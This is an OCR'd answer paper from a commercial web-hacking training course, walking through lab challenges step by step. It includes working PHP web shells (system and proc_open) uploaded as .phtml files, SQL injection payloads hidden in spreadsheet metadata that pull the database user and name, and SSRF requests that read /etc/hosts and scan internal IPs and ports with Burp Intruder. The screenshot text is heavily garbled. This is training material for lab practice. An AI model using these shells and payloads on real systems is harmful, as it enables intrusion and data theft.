@NotSosecure & Shop Webhacklab | Topup Webhacklab @ Microblog @) HealthCheck | Admi
Hello World
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Step 6: Now try to upload a web-shell through a phtml file, with the following content:

<?php if(isset($_REQUEST['cmd'])){ echo "<pre>"; $cmd = ($_REQUEST['cmd']);

system($cmd); echo "</pre>"; die; }?>

On trying to execute commands by accessing the web-shell through the URL
http://shop.webhacklab.com/images/feedback/test.phtml?cmd=pwd . This fails, suggesting the

function “system” might be blocked.

Try a variety of php functions which could allow command execution (passthru, shell_exec, exec,
system, proc_open) and upload with extension “phtml”. Identify the function(s) which executed.
Using the identified function “proc_open” create a webshell named userX.phtml and upload with the

“phtml” extension:

<?php
$descr = array( © => array('pipe', 'r') , 1 => array('pipe', 'w') , 2 =>
array('pipe’, 'w'));
$pipes = array();
$process = proc_open("ls -1", $descr, $pipes);
if (is_resource($process))
{
while ($f = fgets($pipes[1]))
{
echo "-pipe 1--->";
echo $f;
}
fclose($pipes[1]);
while ($f = fgets($pipes[2]))
{
echo "-pipe 2--->";
echo $f;
}
fclose($pipes[2]);
proc_close($process);
}
?>

w NotSoSecure part of Page: | 70
Cla ranet Cyber SeCU I’ity © Claranet Cyber Security 2021. All rights reserved


http://shop.webhacklab.com/images/feedback/test.phtml?cmd=pwd

NSS Training — AWH 5D Answer Paper

Step 7: Access this procopen.phtml file and the content of the command Is -1 will be displayed on

the page:

“ = C o

(@ view-source:http://shop.webhacklab.com/images/feedbac

) NotSosecure @ Shop Webhacklab | Topup Webhacklab € Microblog @) HealthCheck | Admin Webhackla

-pipe 1--->total 32

-pipe 1--->-rw-r--r--
-pipe 1--->-rw-r--r--
-pipe 1--->-rw-r--r--
-pipe 1--->-rw-r--r--
-pipe 1--->-rw-r--r--

e

wwi -data
www -data
www-data
www-data
wwiw-data

www-data 15387 Jun 8 11:36 flower.jpeg

www-data
www-data
www-data
www-data

121 Jul 24 18:33 testlO.phtml
455 Jul 24 18:36 userlO.phtml
475 Jul 23 17:50 user8.phtml
1939 Jul 23 17:47 web.png
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SQLi via File Metadata

Challenge URL: http://reimbursement.webhacklab.com/Expense/Add

e Identify and Exploit SQL Injection via File Metadata properties to retrieve current

database user and database name.
Solution:

Step 1: Sign in to the application and navigate to 'Expense’ tab, click on 'Sample File' link and it will

download the 'SampleData.xIs' as shown in the figure:

Expense.

Add or View all expenses

Add Expense: [Add]
View All Expenses: View
Download Sample File: J[ Sample File ]

© 2020 NotSoSecure Global Sepvices Limited. All rights reserved. NotSoSecure Global Services Limited, CB1
Business Centre, Twenty Statigh Road, Cambridge, CB1 2JD, UK

(_ 4‘ ﬁ [home/kali/Downloal’s/new/

DEVICES A

E File System E

PLACES
W kali

SampleData.xls
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Step 2: Open the file with 'OpenOffice' and navigate to the 'File->Properties' as shown in the figure:

ﬁ SampleDs:
dit View Insert Format Tools Data Window Help
E T OR VE KEE-Y O BN By
Open... ctrl+0 —
| | = = = = % o 0 =
Recent Documents » YRz B/ U =s==s5s & % S¢ M'ﬁ N
& wizards , = |02;01,r2022
| c | D E | F
& Close ttion | Amount
Save ctri+5s 500
Bl save As.. ctri+shift+s 500
Save All 500
500
& Reload 500
Versions... 500
500
[ Export... 500
Export as PDF... 500
Send , 500
Propertie[..
Digital Signatures...
Templates ,
Preview in Web Browser
[% Page Preview
&), Print... ctri+p
FE Printer Settings...
=] Exit ctrl+q
1 1
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Step 3: Modify the 'Title' parameter and provide the payload 'SQLI’ ' and click on the 'OK' button as

shown in the figure:

Payload:

SQLi"

File Edit View Insert Format Tools Data Window Help

B-B2-Ue el $Ean-¢ - -¢- @88 by H2EEQ O

|calibri e Properties of SampleData AR
[a10 [v] A General Description| Custom Properties | Internet Security = Statistics
| e | o ,

Date Des - e souid - |
02/01/2022 Test ~ Subject | \ |
02/01/2022Tesl | yeywords —\ |
02/01/2022 Test
02/01/2022 Test | Comments =
02/01/2022 Test
02/01/2022 Test
02/01/2022 Test
02/01/2022 Test

02/01/2022|Test
02/01/2022 Test

\_(§ I Cancel || Help || Reset

R RSy U [y U Uy PRy JRR
ole|SE 0| R RS ey e o~ o] |w s =

Step 4: Save the file and select 'Keep Current Format' option as shown in the figure:

~

9 OpenOffice 4.1.7 X

This document may contain formatting or content that cannot be
e saved in the Microsoft Excel 97/2000/XP file format. Do you want to
save the document in this format anyway?

Use the latest ODF file format and be sure all formatting and content
is saved correctly.

Save in ODF Format

Keep Current Format |

-]

@ Ask when not saving in ODF format
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Step 5: Navigate to 'Expense -> Add' and click on 'Browse' button and upload the file that was

modified in above step as shown in the figure:

B UploadFile - My ASP.NE X+

<« c @ @ webhacklab.com/E

orunt

Browse... No file selected.

File Upload
Recent A kali Downloads “mew

Home

® SampleData.xls 6.1kB Spreadsheet 09:36

Desktop
Documents
Downloads
Music

Pictures

All Files «

@ Cancel 2 Open

Step 6: Observe Burp Request in which the payload was passed as shown in the figure:

166 httpijfreimbursement.webh... POST JExpense/Add v 200 3386 HTML Upt
165  httpireimbursement .webh... POST JExpensefAdd v 200 3474 HTML U,F::.
EAS J T
Request Response]
Raw | Params | Headers | Hex
i [[]]~
oI t
N o
Jif]f~ /
oyl {/ !‘
{/ﬂ /‘u ,b/ il wmn/ xq[//a@i-ﬁ
f;&fvij f ft Excel 97- TabeU.e 1ff8 'G/IB&G Oh G &GO@I
djp m{w@cﬁm tff / 6[7 ;puE/[ w u/ﬁ& i /bi.Root
Em—ryu HITD éfl:lw@;worl-book 7}] i.u. lCompOb] l|ﬁ@&b&&60$1\ol
66&&6!’46!}&&&& 1 marylnformat an blm .&&&"\|chcUmentSummaryInfor‘ma‘tlonB‘,k‘ """"" AN AAAANAAAAAAAAAAA A A7 L
&&l‘& :
----------------------------- 827429131175795627339394629- -
=]
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Step 7: Application responds with Database error which means that the properties of ‘Title' field

were vulnerable to SQL Injection as shown in the figure:

UploadFile

Browse... No file selected.

Upload Ilncorrect syntax near '637251214668032382'. Unclosed quotation mark after the character Stringl

© 2020 NotSoSecure Global Services Limited. All rights reserved. NotSoSecure Global Services Limited, CB1
Business Centre, Twenty Station Road, Cambridge, CB1 2JD, UK

Step 8: In order to exploit further and to fetch the username, insert the following payload in 'Title'

field as shown in the figure:

Payload:
SQLi', (SELECT user_name()))--
e Properties of SampleData AR
General Description Custom Properties Internet Security Statistics
Title 'SQLI",(SELECT user_name()))-| | |
Subject I \ I
Keywords I \ I
Comments \ i
v
oK I Cancel | | Help | | Reset
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Step 9: Upload the modified file from the above step as shown in the figure:

B UploadFile - My ASP.N

&« i webhacklab.com)

Forun

Browse... e file selected.

Incorrect sWlax near '637251214668032382'. Unclosed quotation mark after the chara

© 2020 NotSoSexure Global Services LinWed. All rights reserved. NotSoSecure Global Services Lim
Business Centre, Tenty Station Road, Cambwdge, CB1 2JD, UK

Tile Upload
Recent <« Akal Downloads  néw
Home
s SampleData.xls 6.1kB Spreadsheet 09:38
Desktop
Documents
% Downloads
Music

Pictures

@ Cancel 1 Open

Step 10: The payload gets successfully executed and the server responds with ‘'File Uploaded

Successfully!" message as shown in figure:

e Reimburse

UploadFile

Browse... No file selected.

Upload File Uploaded Successfully!!

© 2020 NotSoSecure Global Services Limited. All rights reserved. NotSoSecure Global Services Limited, CB1
Business Centre, Twenty Station Road, Cambridge, CB1 2JD, UK
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Step 11: Now to view expense details, Navigate to 'Expense -> View' as shown in figure:

Expense.

Add or View all expenses

Add Expense: [Add]
View All Expenses: | [ View]
Download Sample File: [ Sample File ]

© 2020 NotSoSecure Global Services Limited. All rights reserved. NotSoSecure Global Services Limited, CB1
Business Centre, Twenty Station Road, Cambridge, CB1 2JD, UK

Step 12: Username value is stored in the 'FileName' column as shown in the figure:

Expense Details

DateTime FileName Title Author
2020-05-15T06:39:21 dbol SQLi

Showing 1 to 1 of 1 entries

Previous Next

© 2020 NotSoSecure Global Services Limited. All rights reserved. NotSoSecure Global Services Limited, CB1
Business Centre, Twenty Station Road, Cambridge, CB1 2JD, UK
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Step 13: To fetch the database name, modify the payload as shown in the figure:

Payload:

SQLi', (SELECT DB_NAME()))--

S

General | Description| Custom Properties

Title

Keywords |

Subject | \
\

Comments

Properties of SampleData [T
Internet Security Statistics
(sQLi*,(SELECT DB_NAME()})-- |
\ |
[
A
L
oK H Cancel || Help || Reset

Step 14: Follow the same steps from Step 9 to Step 11 to fetch the database name as shown in

figure:

Expense Details
DateTime FileName

2020-05-15T06:39:21 dbo

2020-05-15T06:40:45 [ ExpenseReimburseDB

Showing 1 to 2 of 2 entries

Previous Next

Business Centre, Twenty Station Road, Cambridge, CB1 2JD, UK

© 2020 NotSoSecure Global Services Limited. All rights reserved. NotSoSecure Global Services Limited, CB1

Title Author
SQLi

SQLi
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Module: Server Side Request
Forgery (SSRF)

SSRF To Check Open Ports and Fetch File

Challenge URL: http://shop.webhacklab.com/products.php

e Utilizing SSRF extract the contents of the internal file “/etc/passwd”.

e Identify the ports open on the host “http://192.168.200.10/”.

Solution:

Step 1: Navigate to the “Products” functionality of the application “NotSoSecure Sports Shop”:

NotSoSecure Sports Shop - Mozilla Firefox e ® O

/ NotSoSecure Sports Shop x | &
(€)@ I shop.webhacklab.com/products.php | c \ | Q Search ‘ B 9 3 A » =

Enter keywor mr@secune e

Products

Adidas F5 Puma Li-Ning
in Solar Cricket Off Basic Q
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Step 2: Notice that the application displays an external image by fetching it through the parameter
“‘imgurl”:

Burp Suite Professional v1.7.31 - Temporary Project - licensed to NotSoSecure [single user license] @ & &
Burp Intruder Repeater Window Help

Project options T User options T Alerts T MNSmap T Additional Scanner Checks T Logger++ T xss\Validator
Target Proxy T Spider T Scanner T Intruder T Repeater T Sequencer T Decoder T Comparer T Extender

Intercept | HTTP history T webSockets history TOptlons ]

| Filter: Showing all items | ?
# 4 | Host | Method | URL | Params | Edited | Status | Length | M
163 ME IS Nop WenNaCEIan . Corm GET TIrEgera e I I ur =L - 200 165395 TFE[ &
164 http:/fshop.webhacklab.com GET fimagehandler.php?imgurl=adidas_... b Z00 52660 JPEp.

com GET fimagehandler phetimaurl=sports Y4 200 174689 I
166 http://shop.webhacklab.com GET fproducts.php 200 13198 HT|
167 http:/fshop.webhacklab.com GET fimagehandler. php?imgurl=adidas_... ~ 200 52660 JPH
168 http://shop.webhacklab.com GET fimagehandler.php?imgurl=puma-c... + 200 75638 JPHE
169 http://shop.webhacklab.com GET fimagehandler. php?imgurl=sports_... -~ 200 174689 JPE
170 http:/fshop.webhacklab.com GET fimagehandler. php?imgurl=Li-Ming-. .. B 200 183345 JPHYT
e - »-
Request | Response

_[ Raw T Params T Headers T Hex -]

ET fimagehandler.php?imgurl=sports_band.jpg HTTP/1.1 A

Host: shop.webhacklab.com

User-Agent: Mozillass5.0 (X11: Linux x86_64; rv:45.0) Geckos20100101 Firefox/45.0
lAiccept: image/png.images/*;q=0.8,%/%;q=0.5

lhccept-Language: en-US,en;g=0.5

Aiccept-Encoding: gzip., deflate

Referer: http:s/shop.webhacklab.com/products.php

Cookie: PHPSESSID=js3ap7j337724mhégveaivbhfl

Connection: close X

7 - == = Tvpe a8 search term 0 matches

Step 3: Observe the same HTTP request from Burp Repeater:

Burp Suite Professional v1.7.31 - Temporary Project - licensed to NotSoSecure [single user license] @ &
Burp Intruder Repeater Window Help

Project options T User options T Alerts T MNSmap T Additional Scanner Checks T Logager++ T xssWalidator
Target T Proxy T Spider T Scanner T Intruder T Repeater T Sequencer T Decoder T Comparer T Extender

()2 [5-12-]5-1 17 -]ar]_)

Go Cancel < |w > |- ITarget: http:ﬂshop.webha(klab.(omI;‘ LEJ
Request Response
Raw T Params T Headers T Hex ] _[ RawT Headers T Hex T Render ]
GET /imagehandler.phpl‘imgur1=sports band.jpg lHTTP/l.l A HTTP/1.1 288 OK -
Host: shop.webhacklab.com - Date: Tue, 27 Mar 2018 09:36:30 GMT
User-Agent: Mozillas5.0 (X11l: Linux x86_64: rv:45.0]) Server: Apache/2.4.18 (Ubuntu) D
Gecko/20100101 Firefox/45.0 Connection: close
Accept: image/png, image/*;g=0.8,%/%;g=0.5 Content-Type: image/png
lAccept-Language: en-US,en:q=0.5 Content-Length: 174533
lhccept-Encoding: gzip. deflate
Referer: http://shop.webhacklab.com/products.php @866 (8Exi fMM*0000001000000000$0000000000000000000€000
Cookie: PHPSESSID=js3ap7]337724mhégveaivbhfl 0e0(000010 €0200+i0060 000
Connection: close LN
&% 'Jadobe Photoshop CS6 (Macintosh)2014:09:10
08:21: 450600022 1600066600001 60000 00000000000n00000v
0{00000000~0000 "
HOHOGG&&IXICC_PROFILEJOOHLinodmntrRGE XYZ &
OlacspMSFTIEC sRGEBHEDE-HP
JeprtdP3descOflwtptO6Ibkptd00 rXyY ZO0006XY Z0. ObXYZO@Odm
- ndOTpdmdd66vuedLBviewlhslumidéOmeasOdstechdeOrTRCO= [
] O0aTRCO=OThTRCO=TTtextConvrioht (o1 1988 ]
? = == = Tvpe a search term 0 matches ? - + = Tvpe a search term 0 matches
Done 174.689 bytes | 3.596 millis
Page: | 81
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Step 4: Provide “http://localhost” to “imgur

displayed index page of localhost:

|”

parameter, we can observe that the application

Send Cancel <|v >\

| Target: http://shop.webhacklab.com /| ®

Request Response
jRaw T Params I Headers T Hex } J Raw I Headers T Hex T Render }
|1 GET /imagehandler.php?imgurl=http://localhost/ | -] 1 HTTP/1.1 200 0K 2
HTTP/1.1 2 Date: Wed, 22 Jul 2020 12:44:47 GMT
2 Host: shop.webhacklab.com 3 Server: Apache/2.4.18 (Ubuntu)
3 User-Agent: Mozilla/5.0 (X11; Linux x86_64; 4 Content-Length: 4671
rv:60.0) Gecko/20100101 Firefox/60.0 5 Connection: close
4 Accept: */* 6 Content-Type: image/png
5 Accept-Language: en-US,en;q=0.5 7
6 Accept-Encoding: gzip, deflate 8|<!DOCTYPE html>
7 Referer: http://shop.webhacklab.com/products.php 9
8 Cookie: PHPSESSID=fvtdtgvrus8dng67htclsh5r22 10|<html lang="en">
9 Connection: close 11|<head>
10 12 <meta charset="utf-8">
11 13
14 <!-- Javascript SDKs-->
15 <script
src="https://code.jquery.com/jquery-1.11.3.min.js"></s
cript>
16 <script
src="js/amazon-cognito-auth.min. js"></script>
17 <script

Step 5: To perform internal network scanning, we can either guess internal IP or bruteforce but as

we can also retrieve internal files, we can try to fetch internal IP from file “file:///etc/hosts”:

Send Cancel < |v >

Request
J Raw 1 Params I Headers T Hex ]

| Target: http://shop.webhacklab.com |/ ®

Response
J Raw 1 Headers T Hex I Render }

1 GET /imagehandler.phpdimgurl=file:///etc/hosts||
HTTP/1.1

2 Host: shop.webhacklab.com

3 User-Agent: Mozilla/5.0 (X11; Linux x86_64;
rvi60.0) Gecko/20100101 Firefox/60.0

4 Accept: */*

5 Accept-Language: en-US,en;g=0.5

6 Accept-Encoding: gzip, deflate

7 Referer: http://shop.webhacklab.com/products.php

8 Cookie: PHPSESSID=fvtdtgvrus8dng67htclsh5r22

9 Connection: close

10

11

>

r

1 HTTP/1.1 200 OK

2 Date: Wed, 22 Jul 2020 12:46:47 GMT
3 Server: Apache/2.4.18 (Ubuntu)

4 Content-Length: 224

5 Connection: close

6 Content-Type: image/png

7

1L

8 127.0.0.1 localhost

9192.168.200.10 _ubuntu20010
10 192.168.200.21 vpnkali.com

11

12 # The following lines are desirable for IPv6 capable
hosts

13 ::1 localhost ip6-localhost ip6-loopback

14 ff02::1 ip6-allnodes
15 ff02::2 ip6-allrouters
16
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Step 6: So, we can try the retrieved internal IP “192.168.200.10”. Provide “http://192.168.200.10” to

“imgurl” parameter, we can observe that the application displayed same index page of

192.168.200.10(localhost):

Send Cancel <|v > | | Target: http:ﬂshop.webhacklab.com| ﬁ ®
Request Response
J Raw I Params T Headers | Hex J Raw I Headers | Hex | Render ]
1 GET /imagehandler.phpftlimgur'l.:http://lgz.168.200.10| | = 1 HTTP/1.1 200 OK {
HTTP/1.1 2 Date: Wed, 22 Jul 2020 12:59:10 GMT
2 Host: shop.webhacklab.com 3 Server: Apache/2.4.18 (Ubuntu)
3 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) 4 Content-Length: 4671 v
Gecko/20100101 Firefox/60.0 5 Connection: close
4 Accept: */* 6 Content-Type: image/png
5 Accept-Language: en-US,en;q=0.5 i
6 Accept-Encoding: gzip, deflate 8 <IDOCTYPE html>
7 Referer: http://shop.webhacklab.com/products.php 9
8 Cookie: PHPSESSID=fvtdtgvrus8dng67htclsh5r22 10 <html lang="en">
9 Cohnection: close 11 <head>
10 12 <meta charset="utf-8">
11 13
14 <l-- Javascript SDKs-->
15 <script
src="https://code.jquery.com/jquery-1.11.3.min.js"><
/script>
16 <script
src="js/amazon-cognito-auth.min. js"></script>
17 <script
src="https://sdk.amazonaws.com/js/aws-sdk-2.7,16.min
.js"></script>
18 <script
src="js/amazon-cognito-identity.min.js"></script>
F] 19 <script src="js/config.js"></script> <]
®{§} |&||=) Search... 0 matches | \n | FPretty ® L& 2] |search... 0 matches | \n || FPretty
Done 4,825 bytes | 265 millis

Step 7: To perform host discovery using specific port, we can try with IP and port

“http://192.168.200.10:80"

Send Cancel <|v >+

| Target: http:llshop.webhacklab.com|/ ®

Request

Rawi | Params | Headers | Hex

Raw | Headers | Hex | Render

Response

1 GET /imagehandler.php?imgurl:http://192.168.200.10:8E)|| H 1 HTTP/1.1 200 OK L]
HTTP/1.1 2 Date: Wed, 22 Jul 2020 13:01:27 GMT
2 Host: shop.webhacklab.com 3 Server: Apache/2.4.18 (Ubuntu)
3 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) 4 Content-Length: 4671
Gecko/20100101 Firefox/60.0 5 Connection: close
4 Accept: */* 6 Content-Type: image/png
5 Accept-Language: en-US,en;q=0.5 7
6 Accept-Encoding: gzip, deflate 8 <IDOCTYPE html>
7 Referer: http://shop.webhacklab.com/products.php 9
8 Cookie: PHPSESSID=fvtdtgvrus8dng67htclsh5r22 10 <html lang="en">
9 Connection: close 11 <head>
10 12 <meta charset="utf-8">
11 13
14 <!-- Javascript SDKs-->
15 <script
src="https://code.jquery.com/jquery-1.11.3.min. js"><
/script>
16 <script
src="js/amazon-cognito-auth.min.js"></script>
17 <script
src="https://sdk.amazonaws.com/js/aws-sdk-2.7.16.min
.js"></script>
18 <script
src="js/amazon-cognito-identity.min.js"></script>
F 19 <script src="js/config.js"></script> b
®{§} [&][>] |search... 0 matches | \n | Pretty ®{§:ﬁ &[] search... 0 matches | \n | Pretty
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Step 8: We can try with different IPs and port combinations and observe the response time which is
highlighted in Figure:

http://192.168.200.100:80

Burp Intruder Repeater Window Help

Project options T User options T Alerts T MSmap T Additional Scanner Checks T Logger++ T xssWalidator ]
Target T Proxy T Spider T Scanner T Intruder T Repeater T Seqguencer T Decoder T Comparer T Extender ]

[ lz-T2 ]2 15 I6-]7-Jmnl_)
Go Cancel < |w > |w I Target: http://shop.webhacklab.com lE‘J EJ

Request

Response

J RawT Params T Headers T Hex -] J RawT Headers T Hex -]

GET Y HTTP/1.1 288 0K Y

llmagehandler.phd?lmgurl=http://192.163.200.100h80 I - Date: Tue, 27 Mar 2018 09:51:19 GMT -

HTTP/ 1.1 Server: Apache/2.4.18 (Ubuntul

Host: shop.webhacklab.com Content-Length: @

User-Agent: Mozillas5.0 (X11: Linux x86_64: rv:45.0) Connection: close

Gecko/20100101 Firefoxs/45.0 Content-Type: imagespng

Accept: imagespng.images*:g=0.8,*/*:g=0.5

Accept-Language: en-US,.en:g=0.5

Accept-Encoding: gzip., deflate

Referer: http://shop.webhacklab.com/products. php

Cookie: PHPSESSID=js3ap7j337724mhégveaivbhfl

Connection: close
- -
v v

? - + = Type a search term 0 matches ? - + = Type a search term 0 matches

| 151 bytes | 4.000 millis)

Step 9: To perform automated internal network scanning, we can use Burp Intruder and select the
last octet of IP address:

Burp Intruder Repeater Window Help
Project options T User options T Alerts T MSmap T Additional Scanner Checks T Logger++ T xssVWalidator ]
Target T Proxy T Spider T Scanner T Intruder T Repeater T Sequencer T Decoder T Comparer T Extender ]
1 = 2 =

Target | Positions T Payloads T Options ]

@ Payload Positions

Start attack
Configure the positions where payloads will be inserted into the base request. The attack type determines the way in
which payloads are assigned to payload positions - see help for full details.

Attack type: I_Snlp-er |v]

GET fimagehandler. ph:’?imgurl=http 1/4192.168.200.5105 I-I'ITP!l. 1

= Add
Host: shop.webhacklab com %J

User-Agent: Mozillas5.0 (X11: Linux xBE6_6B4: rwi45.0) Gecko/20100101 Firefox/45.0

Accept: image/png,image/#*;g=0.8,%/%;q=0.5 &J

Accept-Language: en-US.en:g=0.5

Accept-Encoding: gzip, deflate Auto §
Referer:

http: //shop.webhacklabk.com/products. php

Coockie: PHPSESSID=js3ap7]337724mhégveaivbhfl Refresh
Connection: close

A
? - + = Tyvpe a search term 0 matches Clear

1 payload position

Length: 397
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Step 10: In Burp Intruder, select the Payload type as “Numbers” and set Number range from 0 to

255 with incremental steps of 1:

Burp Intruder Repeater Window Help

[ Project options T User options T Alerts T MNSmap T Additional Scanner Checks T Logger++ T xssValidator
| Target | Proxy [ spider | Scanner [ intruder | Repeater | Sequencer | Decoder | Comparer | Extender

[ Target [ Positions | Payleads | options |

=L

I

(Z) Payload Sets Start attack

You can define one or more payload sets. The number of payload sets depends on the attack type defined in the
Positions tab. Various payload types are available for each payload set, and each payload type can be customized
in different ways.

Payload set: |1 |* Payload count: 256
Payload type: | Numbers B Request count: 256

7| Payload Options [Numbers]
This payload type generates numeric payloads within a given range and in a specified format
Number range

Type: @ Sequential O Random

From: o

To: 255

Step: 1

¥

Step 11: Observe the result table using columns “Response received” or “Length”, we can observe
that there are 6 other IPs which responded quickly (400-650 ms) compared to normal response
(3200-4200). Figure shows HTTP request for IP 192.168.200.110 which responded in 429
milliseconds:

Intruder attack 1 e e &
Attack Save Columns
j Results T Target T Positions T Payloads T{)ptions ]
| Filter: Showing all items |®
Request Payload | Status | Response received 4 | Error | Timeout | Length | Comment
22 21 200 401 [ [ 151 &
111 110 200 429 ] [ 16938
13 12 200 604 ] [] 11476
0 200 619 O o 280
15 14 200 625 O o 151
12 11 200 641 O O 151
11 10 200 646 (0] ] 280
39 38 200 3204 O ] 151
23 22 200 3236 O o 151
112 111 200 3304 ] ] 151 v
Al - — — = R T
Request | Response
J Raw T Params T Headers T Hex ]

ET /imagehandler.php?imgurl=http://192.168.200.110 HTTP/1.1 "
Host: shop.webhacklab.com

User-Agent: Mozillas5.0 (X11; Linux xB6_64: rv:45.0) Gecko/20180181 Firefox/45.8
ccept: image/png,image/*;g=0.8,%/%:q=0.5

ccept-Language: en-US.en:g=0.5

ccept-Encoding: gzip. deflate
Referer: http://shop.webhacklab.com/products.php v

T T T T Type a search term 0 matches
Finished B s
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Step 12: We can observe the HTTP response of above request for IP 192.168.200.110 on port 80:

Intruder attack 1 e ® O
Attack Save Columns
J Results T Target T Positions T Payloads TOptinns ]
| Filter: Showing all items ?
Request Payload | Status | Response received | Error | Timeout | Length | Comment
22 21 200 401 ] ] 151 &
I] 111 110 200 | 429 16938
13 12 200 604 11476
0 200 619 O O 280
15 14 200 625 m] O 151
12 11 200 641 ] (] 151
11 10 200 646 ] (] 280
39 38 200 3204 ] (] 151
23 22 200 3236 ] (] 151
112 111 200 3304 |} O 151 v
< - — — - T T
Request | Response 1
[ Raw T Headers T Hex T HTML T Render ]
A
search
Home Topup vouchers Shop
more_vert
« Help .
“ T
Finished e,
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Step 13: We have sorted the column “Response received” in ascending order but we need to also
check with descending order. Figure shows HTTP request for IP “192.168.200.120” which

responded in more than 60000 milliseconds. Hence, we can discover internal up hosts:

Intruder attack 1 e O
Attack Save Columns
J Results T Target T Positions T Payloads T Options ]
| Filter: Showing all items |®
Request | Payload | Status | Response received & | Error | Timeout | Length | Comment
= =
165 164 200 4027 O O 151 A
211 210 200 4037 O O 151
38 37 200 4040 O O 151
129 128 200 4045 O O 151
147 146 200 4050 O O 151
26 25 200 4055 O O 151
184 1583 200 4079 O O 151
182 1581 200 4221 O O 151
139 138 200 4354 [ [ 151
121 120 200 60473 O O 151 |
- 7 e
Request | Response
J Raw T Params T Headers | Hex
EET !imagehandler.php[imgurl=http:!!192 .168.200.120 BTTP/1.1 i
Host: shop.webhacklab.com
User-Agent: Mozillas5.@ (X11; Linux xB6_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: image/png.image/*;qg=0.8,*/*;0=0.5
Accept-Language: en-US,en;g=0.5
Accept-Encoding: gzip. deflate
Referer: /#shop.webhacklab. com/products.php x
? - 5= > Type a search term 0 matches

A e —

| Filter: Showing all items

Request | Payload | Status | Response received | Response comple... | Error | Timeout | Length
113 113 20U 313U 3258 | O I51
114 114 200 3259 3259 O a 151
115 115 200 3305 3305 (B a 151
116 116 200 3302 3430 (3] a 151
117 117 200 3256 3427 a a 151
118 118 200 3131 3257 a a 151
119 119 200 3257 3257 [J LJ 151

ﬂ 120 1120 1 200 3298 3298 ) L) 151
121 121 200 3303 3432 U O 151
122 122 200 3457 3458 (B a 151
123 123 200 3134 3263 O a 151
124 124 200 3433 3434 (B)] a 151
125 125 200 3418 3418 O a 151
126 126 200 3343 3344 O a 151
AN J

Raw | Headers | Hex

HTTP/1.1 200 OK

Date: Mon, 16 Jul 2018 11:37:09 GMT
Server: Apache/2.4.18 (Dbuntu)
Content-Length: 0

Connection: close

Content-Type: image/png

? < + > Type a search term
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Step 14: To perform automated internal network scanning/service enumeration, we can use Burp

Intruder and select the last octet of IP address and also a port. We need to perform service

enumeration on multiple IPs so we can select “Cluster bomb” as an attack type:

= 2 =

[Targe't TPngln\s T Payloads T Options ]

? Payload Positions

Configure the positions where payloads will be inserted into the base request. The attack type determines the way in which payloads are
assigned to payload positions - see help for full details.

Start attack

I Attack type: | Cluster bomb | v] I
GET /imagehandler phy?imgurl=http://152 L&0 =00 §10§:§008 [HTTR/1_ 1 ] Add §
Host: shop webhacklab . com o

User—Agent- Momillas5.0 (Windows NT &.3; Wingd; xE4; rv-55 0) Geckos-0l00101 Firefox/55.0
Accept—Language: en-US,en;gq=0.5
Beferer: http://shop.webhacklab.com/products.php

Comnection: close

e
v

2 payload positions Length: 381

H Clear §
Accept: *4%
Auto §
Accept—Encoding: gzip, deflate

Refresh
Coockie: PHPSESSID=3s3apT7i337724mhégveaivbhil

T T + T Type & search term 0 matches Clear

Step 15: In Burp Intruder, select the Payload for the first position, here we are going to mention last

octet of IPs:

3

w2 =

[ Target T Positions TPay\hads T Options ]

_ _ |a
EJ Payload Sets Start attack L\

“ou can define one or more payload sets. The number of payload sets depends on the attack type defined in the Positions tab. Various
payload types are available for each payload set, and each payload type can be customized in different ways.

Payload set: 1 | = Payload count: 4

Payload type: | Simple list = Reguest count: 0

LlJ Payload Options [Simple list]

This payload type lets you configure a simple list of strings that are used as payloads.

Paste 10 _/

11

Load ... 12
21

Remove | i

Clear
Add Enter & new item

Add from list .. v

—

PLi
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Step 16: In Burp Intruder, select the Payload for second position, here we are going to mention list

of ports/services to enumerate for IPs mentioned in above step:

Target | Positions | Payloads T Options ]

@ Payload Sets

“ou can define one or more paylead sets. The number of payload sets depends on the attack type defined in the Positions tab. Various
payload types are available for each payload set, and each payload type can be customized in different ways.

Payload =&t 2 o Payload count: 10

Payload type: | Simple list = Reguest count: 40

@ Payload Options [Simple list]

Thiz payload type lets yvou configure a simple list of strings that are used as payloads.

Paste a0 |2
2080
Load ... 2000
2
Remove | | 22 -
2009
Clear 3000
8999
9959 ¥
Add Enter a new item
[ Add from st . =

Start attack

Step 17: CAUTION: we are going to perform host/service discovery through web application, it

could be possible that a little mistake may ruin our plan by making multiple requests. Generally, it is

preferable to go with only “1” thread and with throttling request:

[ Target T Positions T Payloads TOp‘hm'ls 1
_— S Y
?| Request Headers Start attack
3 These settings control whether Intruder updates the configured request headers during attacks.
[l update Content-Length header
[@ Set Connection: close
|
7| Request Engine
3 These settings control the engine used for making HTTP reguests when performing attacks.
Mumber of threads:
Mumber of retries on network failure: 3
Pause before retry (miliseconds): 2000
Throttle (miliseconds): @& Ficed 1]
() Wariable: start |0 step | 30000
Start time: @ Immediatehy
O 10 minutes
() Paused -
Ad
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Step 18: Observe the result table using columns “Length” or “Response received”, we can observe
that there are 6 other services which have large response contents(167-11500 Bytes) comparing to
normal request(151 Bytes). Figure shows that HTTP request for IP 192.168.200.12 and port
80(service HTTP) which responded in 11476 Bytes.

| Filter: Showing all tems | ?
Reguest Payload1 PayloadZ Status Response received | Error | Timeout | Length ¥ | Comment |
3 12 80 200 502 O O [ 11478 L;
5 11 3030 200 357 ] [ 10902
27 12 3000 200 g4y O a 4722
2 11 30 200 766 ] a 765
0 200 945 @] [ ] _/
1 10 a0 200 553 g a 280
7 12 3080 200 553 g g 167
4 21 a0 200 543 0] @] 151
5 10 3030 200 506 ] O 151
2 21 3080 200 547 ] ] 151
9 10 3000 200 553 ] [ 151
10 11 3000 200 501 O a 151
11 12 3000 200 543 ] a 151 ";
47 ¥ DILAM TR cdo ™ — 4E4

Reguest | Response
J RawI Params T Headers T Hex ]

GET /fimagehandler.php?imgurl=http: ///152.168.200.12:80 HTTP/Ll.1 A
ost: shop.webhacklab. com
User—Agent: Mozilla/5.0 (Windows NT &£.3; Wing4; xE64; rv:59.0) Gecko/Z0100101 Firefox/55.0
Accept: WA*

Accept-Language: en-US,en;qg=0.5% !
? < = Type & search term 0 matches
Finished I ]|

g
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Step 19: Observe the result table using columns “Length” for each ports/services, we can observe
that there are 5 other services which have variations in “Length”. However, this is a demo
application and we have restricted our result analysis to “Length” only but we can also compare

results with “Response received”.

‘ Filter: Showing all items
o
Request | Payloadl | Payload? | Status | Respons... | Respons... | Error | Timeout | Length
0 200 493 493 O @] 765
1 10 80 200 650 650 (@] g 280
2 11 80 200 470 471 O O 765
3 12 80 200 316 443 0 0 11476
